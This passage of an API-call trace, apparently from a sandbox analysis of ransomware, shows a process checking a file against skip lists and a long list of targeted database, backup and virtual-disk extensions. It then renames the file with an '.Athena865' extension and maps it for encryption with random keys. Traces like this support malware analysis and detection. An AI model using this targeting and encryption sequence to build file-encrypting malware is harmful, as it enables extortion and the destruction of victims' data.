lstrcmpiW (lpString1="MSART12.BDR", lpString2="bootmgr") returned 1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2="temp") returned -1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2="pagefile.sys") returned -1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2="boot") returned 1 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2="ids.txt") returned 1 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2="ntuser.dat") returned -1 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2="perflogs") returned -1 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2="MSBuild") returned -1 [0151.868] lstrlenW (lpString="MSART12.BDR") returned 11 [0151.868] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART12.BDR" | out: lpString1="MSART12.BDR") returned="MSART12.BDR" [0151.868] lstrlenW (lpString="MSART12.BDR") returned 11 [0151.868] lstrlenW (lpString="Athena865") returned 9 [0151.868] lstrcmpiW (lpString1="ART12.BDR", lpString2="Athena865") returned -1 [0151.868] lstrlenW (lpString=".dll") returned 4 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2=".dll") returned 1 [0151.868] lstrlenW (lpString=".lnk") returned 4 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2=".lnk") returned 1 [0151.868] lstrlenW (lpString=".ini") returned 4 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2=".ini") returned 1 [0151.868] lstrlenW (lpString=".sys") returned 4 [0151.868] lstrcmpiW (lpString1="MSART12.BDR", lpString2=".sys") returned 1 [0151.868] lstrlenW (lpString="MSART12.BDR") returned 11 [0151.868] lstrlenW (lpString="bak") returned 3 [0151.868] lstrcmpiW (lpString1="BDR", lpString2="bak") returned 1 [0151.868] lstrlenW (lpString="ba_") returned 3 [0151.868] lstrcmpiW (lpString1="BDR", lpString2="ba_") returned 1 [0151.868] lstrlenW (lpString="dbb") returned 3 [0151.868] lstrcmpiW (lpString1="BDR", lpString2="dbb") returned -1 [0151.868] lstrlenW (lpString="vmdk") returned 4 [0151.869] lstrcmpiW (lpString1=".BDR", lpString2="vmdk") returned -1 [0151.869] lstrlenW (lpString="rar") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="rar") returned -1 [0151.869] lstrlenW (lpString="zip") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="zip") returned -1 [0151.869] lstrlenW (lpString="tgz") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="tgz") returned -1 [0151.869] lstrlenW (lpString="vbox") returned 4 [0151.869] lstrcmpiW (lpString1=".BDR", lpString2="vbox") returned -1 [0151.869] lstrlenW (lpString="vdi") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="vdi") returned -1 [0151.869] lstrlenW (lpString="vhd") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="vhd") returned -1 [0151.869] lstrlenW (lpString="vhdx") returned 4 [0151.869] lstrcmpiW (lpString1=".BDR", lpString2="vhdx") returned -1 [0151.869] lstrlenW (lpString="avhd") returned 4 [0151.869] lstrcmpiW (lpString1=".BDR", lpString2="avhd") returned -1 [0151.869] lstrlenW (lpString="db") returned 2 [0151.869] lstrcmpiW (lpString1="DR", lpString2="db") returned 1 [0151.869] lstrlenW (lpString="db2") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="db2") returned -1 [0151.869] lstrlenW (lpString="db3") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="db3") returned -1 [0151.869] lstrlenW (lpString="dbf") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="dbf") returned -1 [0151.869] lstrlenW (lpString="mdf") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="mdf") returned -1 [0151.869] lstrlenW (lpString="mdb") returned 3 [0151.869] lstrcmpiW (lpString1="BDR", lpString2="mdb") returned -1 [0151.870] lstrlenW (lpString="sql") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="sql") returned -1 [0151.870] lstrlenW (lpString="sqlite") returned 6 [0151.870] lstrcmpiW (lpString1="12.BDR", lpString2="sqlite") returned -1 [0151.870] lstrlenW (lpString="sqlite3") returned 7 [0151.870] lstrcmpiW (lpString1="T12.BDR", lpString2="sqlite3") returned 1 [0151.870] lstrlenW (lpString="sqlitedb") returned 8 [0151.870] lstrcmpiW (lpString1="RT12.BDR", lpString2="sqlitedb") returned -1 [0151.870] lstrlenW (lpString="xml") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="xml") returned -1 [0151.870] lstrlenW (lpString="$er") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="$er") returned 1 [0151.870] lstrlenW (lpString="4dd") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="4dd") returned 1 [0151.870] lstrlenW (lpString="4dl") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="4dl") returned 1 [0151.870] lstrlenW (lpString="^^^") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="^^^") returned 1 [0151.870] lstrlenW (lpString="abs") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="abs") returned 1 [0151.870] lstrlenW (lpString="abx") returned 3 [0151.870] lstrcmpiW (lpString1="BDR", lpString2="abx") returned 1 [0151.870] lstrlenW (lpString="accdb") returned 5 [0151.870] lstrcmpiW (lpString1="2.BDR", lpString2="accdb") returned -1 [0151.870] lstrlenW (lpString="accdc") returned 5 [0151.870] lstrcmpiW (lpString1="2.BDR", lpString2="accdc") returned -1 [0151.870] lstrlenW (lpString="accde") returned 5 [0151.870] lstrcmpiW (lpString1="2.BDR", lpString2="accde") returned -1 [0151.871] lstrlenW (lpString="accdr") returned 5 [0151.871] lstrcmpiW (lpString1="2.BDR", lpString2="accdr") returned -1 [0151.871] lstrlenW (lpString="accdt") returned 5 [0151.871] lstrcmpiW (lpString1="2.BDR", lpString2="accdt") returned -1 [0151.871] lstrlenW (lpString="accdw") returned 5 [0151.871] lstrcmpiW (lpString1="2.BDR", lpString2="accdw") returned -1 [0151.871] lstrlenW (lpString="accft") returned 5 [0151.871] lstrcmpiW (lpString1="2.BDR", lpString2="accft") returned -1 [0151.871] lstrlenW (lpString="adb") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.871] lstrlenW (lpString="adb") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.871] lstrlenW (lpString="ade") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="ade") returned 1 [0151.871] lstrlenW (lpString="adf") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="adf") returned 1 [0151.871] lstrlenW (lpString="adn") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="adn") returned 1 [0151.871] lstrlenW (lpString="adp") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="adp") returned 1 [0151.871] lstrlenW (lpString="alf") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="alf") returned 1 [0151.871] lstrlenW (lpString="ask") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="ask") returned 1 [0151.871] lstrlenW (lpString="btr") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="btr") returned -1 [0151.871] lstrlenW (lpString="cat") returned 3 [0151.871] lstrcmpiW (lpString1="BDR", lpString2="cat") returned -1 [0151.872] lstrlenW (lpString="cdb") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="cdb") returned -1 [0151.872] lstrlenW (lpString="ckp") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="ckp") returned -1 [0151.872] lstrlenW (lpString="cma") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="cma") returned -1 [0151.872] lstrlenW (lpString="cpd") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="cpd") returned -1 [0151.872] lstrlenW (lpString="dacpac") returned 6 [0151.872] lstrcmpiW (lpString1="12.BDR", lpString2="dacpac") returned -1 [0151.872] lstrlenW (lpString="dad") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="dad") returned -1 [0151.872] lstrlenW (lpString="dadiagrams") returned 10 [0151.872] lstrcmpiW (lpString1="SART12.BDR", lpString2="dadiagrams") returned 1 [0151.872] lstrlenW (lpString="daschema") returned 8 [0151.872] lstrcmpiW (lpString1="RT12.BDR", lpString2="daschema") returned 1 [0151.872] lstrlenW (lpString="db-journal") returned 10 [0151.872] lstrcmpiW (lpString1="SART12.BDR", lpString2="db-journal") returned 1 [0151.872] lstrlenW (lpString="db-shm") returned 6 [0151.872] lstrcmpiW (lpString1="12.BDR", lpString2="db-shm") returned -1 [0151.872] lstrlenW (lpString="db-wal") returned 6 [0151.872] lstrcmpiW (lpString1="12.BDR", lpString2="db-wal") returned -1 [0151.872] lstrlenW (lpString="dbc") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="dbc") returned -1 [0151.872] lstrlenW (lpString="dbs") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="dbs") returned -1 [0151.872] lstrlenW (lpString="dbt") returned 3 [0151.872] lstrcmpiW (lpString1="BDR", lpString2="dbt") returned -1 [0151.873] lstrlenW (lpString="dbv") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dbv") returned -1 [0151.873] lstrlenW (lpString="dbx") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dbx") returned -1 [0151.873] lstrlenW (lpString="dcb") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dcb") returned -1 [0151.873] lstrlenW (lpString="dct") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dct") returned -1 [0151.873] lstrlenW (lpString="dcx") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dcx") returned -1 [0151.873] lstrlenW (lpString="ddl") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="ddl") returned -1 [0151.873] lstrlenW (lpString="dlis") returned 4 [0151.873] lstrcmpiW (lpString1=".BDR", lpString2="dlis") returned -1 [0151.873] lstrlenW (lpString="dp1") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dp1") returned -1 [0151.873] lstrlenW (lpString="dqy") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dqy") returned -1 [0151.873] lstrlenW (lpString="dsk") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dsk") returned -1 [0151.873] lstrlenW (lpString="dsn") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dsn") returned -1 [0151.873] lstrlenW (lpString="dtsx") returned 4 [0151.873] lstrcmpiW (lpString1=".BDR", lpString2="dtsx") returned -1 [0151.873] lstrlenW (lpString="dxl") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="dxl") returned -1 [0151.873] lstrlenW (lpString="eco") returned 3 [0151.873] lstrcmpiW (lpString1="BDR", lpString2="eco") returned -1 [0151.873] lstrlenW (lpString="ecx") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="ecx") returned -1 [0151.874] lstrlenW (lpString="edb") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="edb") returned -1 [0151.874] lstrlenW (lpString="epim") returned 4 [0151.874] lstrcmpiW (lpString1=".BDR", lpString2="epim") returned -1 [0151.874] lstrlenW (lpString="fcd") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fcd") returned -1 [0151.874] lstrlenW (lpString="fdb") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fdb") returned -1 [0151.874] lstrlenW (lpString="fic") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fic") returned -1 [0151.874] lstrlenW (lpString="flexolibrary") returned 12 [0151.874] lstrlenW (lpString="fm5") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fm5") returned -1 [0151.874] lstrlenW (lpString="fmp") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fmp") returned -1 [0151.874] lstrlenW (lpString="fmp12") returned 5 [0151.874] lstrcmpiW (lpString1="2.BDR", lpString2="fmp12") returned -1 [0151.874] lstrlenW (lpString="fmpsl") returned 5 [0151.874] lstrcmpiW (lpString1="2.BDR", lpString2="fmpsl") returned -1 [0151.874] lstrlenW (lpString="fol") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fol") returned -1 [0151.874] lstrlenW (lpString="fp3") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fp3") returned -1 [0151.874] lstrlenW (lpString="fp4") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fp4") returned -1 [0151.874] lstrlenW (lpString="fp5") returned 3 [0151.874] lstrcmpiW (lpString1="BDR", lpString2="fp5") returned -1 [0151.875] lstrlenW (lpString="fp7") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="fp7") returned -1 [0151.875] lstrlenW (lpString="fpt") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="fpt") returned -1 [0151.875] lstrlenW (lpString="frm") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="frm") returned -1 [0151.875] lstrlenW (lpString="gdb") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="gdb") returned -1 [0151.875] lstrlenW (lpString="gdb") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="gdb") returned -1 [0151.875] lstrlenW (lpString="grdb") returned 4 [0151.875] lstrcmpiW (lpString1=".BDR", lpString2="grdb") returned -1 [0151.875] lstrlenW (lpString="gwi") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="gwi") returned -1 [0151.875] lstrlenW (lpString="hdb") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="hdb") returned -1 [0151.875] lstrlenW (lpString="his") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="his") returned -1 [0151.875] lstrlenW (lpString="ib") returned 2 [0151.875] lstrcmpiW (lpString1="DR", lpString2="ib") returned -1 [0151.875] lstrlenW (lpString="idb") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="idb") returned -1 [0151.875] lstrlenW (lpString="ihx") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="ihx") returned -1 [0151.875] lstrlenW (lpString="itdb") returned 4 [0151.875] lstrcmpiW (lpString1=".BDR", lpString2="itdb") returned -1 [0151.875] lstrlenW (lpString="itw") returned 3 [0151.875] lstrcmpiW (lpString1="BDR", lpString2="itw") returned -1 [0151.876] lstrlenW (lpString="jet") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="jet") returned -1 [0151.876] lstrlenW (lpString="jtx") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="jtx") returned -1 [0151.876] lstrlenW (lpString="kdb") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="kdb") returned -1 [0151.876] lstrlenW (lpString="kexi") returned 4 [0151.876] lstrcmpiW (lpString1=".BDR", lpString2="kexi") returned -1 [0151.876] lstrlenW (lpString="kexic") returned 5 [0151.876] lstrcmpiW (lpString1="2.BDR", lpString2="kexic") returned -1 [0151.876] lstrlenW (lpString="kexis") returned 5 [0151.876] lstrcmpiW (lpString1="2.BDR", lpString2="kexis") returned -1 [0151.876] lstrlenW (lpString="lgc") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="lgc") returned -1 [0151.876] lstrlenW (lpString="lwx") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="lwx") returned -1 [0151.876] lstrlenW (lpString="maf") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="maf") returned -1 [0151.876] lstrlenW (lpString="maq") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="maq") returned -1 [0151.876] lstrlenW (lpString="mar") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="mar") returned -1 [0151.876] lstrlenW (lpString="marshal") returned 7 [0151.876] lstrcmpiW (lpString1="T12.BDR", lpString2="marshal") returned 1 [0151.876] lstrlenW (lpString="mas") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="mas") returned -1 [0151.876] lstrlenW (lpString="mav") returned 3 [0151.876] lstrcmpiW (lpString1="BDR", lpString2="mav") returned -1 [0151.876] lstrlenW (lpString="maw") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="maw") returned -1 [0151.877] lstrlenW (lpString="mdbhtml") returned 7 [0151.877] lstrcmpiW (lpString1="T12.BDR", lpString2="mdbhtml") returned 1 [0151.877] lstrlenW (lpString="mdn") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="mdn") returned -1 [0151.877] lstrlenW (lpString="mdt") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="mdt") returned -1 [0151.877] lstrlenW (lpString="mfd") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="mfd") returned -1 [0151.877] lstrlenW (lpString="mpd") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="mpd") returned -1 [0151.877] lstrlenW (lpString="mrg") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="mrg") returned -1 [0151.877] lstrlenW (lpString="mud") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="mud") returned -1 [0151.877] lstrlenW (lpString="mwb") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="mwb") returned -1 [0151.877] lstrlenW (lpString="myd") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="myd") returned -1 [0151.877] lstrlenW (lpString="ndf") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="ndf") returned -1 [0151.877] lstrlenW (lpString="nnt") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="nnt") returned -1 [0151.877] lstrlenW (lpString="nrmlib") returned 6 [0151.877] lstrcmpiW (lpString1="12.BDR", lpString2="nrmlib") returned -1 [0151.877] lstrlenW (lpString="ns2") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="ns2") returned -1 [0151.877] lstrlenW (lpString="ns3") returned 3 [0151.877] lstrcmpiW (lpString1="BDR", lpString2="ns3") returned -1 [0151.878] lstrlenW (lpString="ns4") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="ns4") returned -1 [0151.878] lstrlenW (lpString="nsf") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="nsf") returned -1 [0151.878] lstrlenW (lpString="nv") returned 2 [0151.878] lstrcmpiW (lpString1="DR", lpString2="nv") returned -1 [0151.878] lstrlenW (lpString="nv2") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="nv2") returned -1 [0151.878] lstrlenW (lpString="nwdb") returned 4 [0151.878] lstrcmpiW (lpString1=".BDR", lpString2="nwdb") returned -1 [0151.878] lstrlenW (lpString="nyf") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="nyf") returned -1 [0151.878] lstrlenW (lpString="odb") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="odb") returned -1 [0151.878] lstrlenW (lpString="odb") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="odb") returned -1 [0151.878] lstrlenW (lpString="oqy") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="oqy") returned -1 [0151.878] lstrlenW (lpString="ora") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="ora") returned -1 [0151.878] lstrlenW (lpString="orx") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="orx") returned -1 [0151.878] lstrlenW (lpString="owc") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="owc") returned -1 [0151.878] lstrlenW (lpString="p96") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="p96") returned -1 [0151.878] lstrlenW (lpString="p97") returned 3 [0151.878] lstrcmpiW (lpString1="BDR", lpString2="p97") returned -1 [0151.879] lstrlenW (lpString="pan") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="pan") returned -1 [0151.879] lstrlenW (lpString="pdb") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="pdb") returned -1 [0151.879] lstrlenW (lpString="pdm") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="pdm") returned -1 [0151.879] lstrlenW (lpString="pnz") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="pnz") returned -1 [0151.879] lstrlenW (lpString="qry") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="qry") returned -1 [0151.879] lstrlenW (lpString="qvd") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="qvd") returned -1 [0151.879] lstrlenW (lpString="rbf") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="rbf") returned -1 [0151.879] lstrlenW (lpString="rctd") returned 4 [0151.879] lstrcmpiW (lpString1=".BDR", lpString2="rctd") returned -1 [0151.879] lstrlenW (lpString="rod") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="rod") returned -1 [0151.879] lstrlenW (lpString="rodx") returned 4 [0151.879] lstrcmpiW (lpString1=".BDR", lpString2="rodx") returned -1 [0151.879] lstrlenW (lpString="rpd") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="rpd") returned -1 [0151.879] lstrlenW (lpString="rsd") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="rsd") returned -1 [0151.879] lstrlenW (lpString="sas7bdat") returned 8 [0151.879] lstrcmpiW (lpString1="RT12.BDR", lpString2="sas7bdat") returned -1 [0151.879] lstrlenW (lpString="sbf") returned 3 [0151.879] lstrcmpiW (lpString1="BDR", lpString2="sbf") returned -1 [0151.880] lstrlenW (lpString="scx") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="scx") returned -1 [0151.880] lstrlenW (lpString="sdb") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="sdb") returned -1 [0151.880] lstrlenW (lpString="sdc") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="sdc") returned -1 [0151.880] lstrlenW (lpString="sdf") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="sdf") returned -1 [0151.880] lstrlenW (lpString="sis") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="sis") returned -1 [0151.880] lstrlenW (lpString="spq") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="spq") returned -1 [0151.880] lstrlenW (lpString="te") returned 2 [0151.880] lstrcmpiW (lpString1="DR", lpString2="te") returned -1 [0151.880] lstrlenW (lpString="teacher") returned 7 [0151.880] lstrcmpiW (lpString1="T12.BDR", lpString2="teacher") returned -1 [0151.880] lstrlenW (lpString="tmd") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="tmd") returned -1 [0151.880] lstrlenW (lpString="tps") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="tps") returned -1 [0151.880] lstrlenW (lpString="trc") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="trc") returned -1 [0151.880] lstrlenW (lpString="trc") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="trc") returned -1 [0151.880] lstrlenW (lpString="trm") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="trm") returned -1 [0151.880] lstrlenW (lpString="udb") returned 3 [0151.880] lstrcmpiW (lpString1="BDR", lpString2="udb") returned -1 [0151.881] lstrlenW (lpString="udl") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="udl") returned -1 [0151.881] lstrlenW (lpString="usr") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="usr") returned -1 [0151.881] lstrlenW (lpString="v12") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="v12") returned -1 [0151.881] lstrlenW (lpString="vis") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="vis") returned -1 [0151.881] lstrlenW (lpString="vpd") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="vpd") returned -1 [0151.881] lstrlenW (lpString="vvv") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="vvv") returned -1 [0151.881] lstrlenW (lpString="wdb") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="wdb") returned -1 [0151.881] lstrlenW (lpString="wmdb") returned 4 [0151.881] lstrcmpiW (lpString1=".BDR", lpString2="wmdb") returned -1 [0151.881] lstrlenW (lpString="wrk") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="wrk") returned -1 [0151.881] lstrlenW (lpString="xdb") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="xdb") returned -1 [0151.881] lstrlenW (lpString="xld") returned 3 [0151.881] lstrcmpiW (lpString1="BDR", lpString2="xld") returned -1 [0151.881] lstrlenW (lpString="xmlff") returned 5 [0151.881] lstrcmpiW (lpString1="2.BDR", lpString2="xmlff") returned -1 [0151.881] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.Athena865") returned 72 [0151.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.athena865"), dwFlags=0x1) returned 1 [0151.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.883] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=58756) returned 1 [0151.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.884] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.884] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.885] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.885] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe890, lpName=0x0) returned 0x17c [0151.886] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe890) returned 0x100000 [0151.890] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.890] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.890] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.891] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.892] CloseHandle (hObject=0x17c) returned 1 [0151.892] CloseHandle (hObject=0x154) returned 1 [0151.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.893] 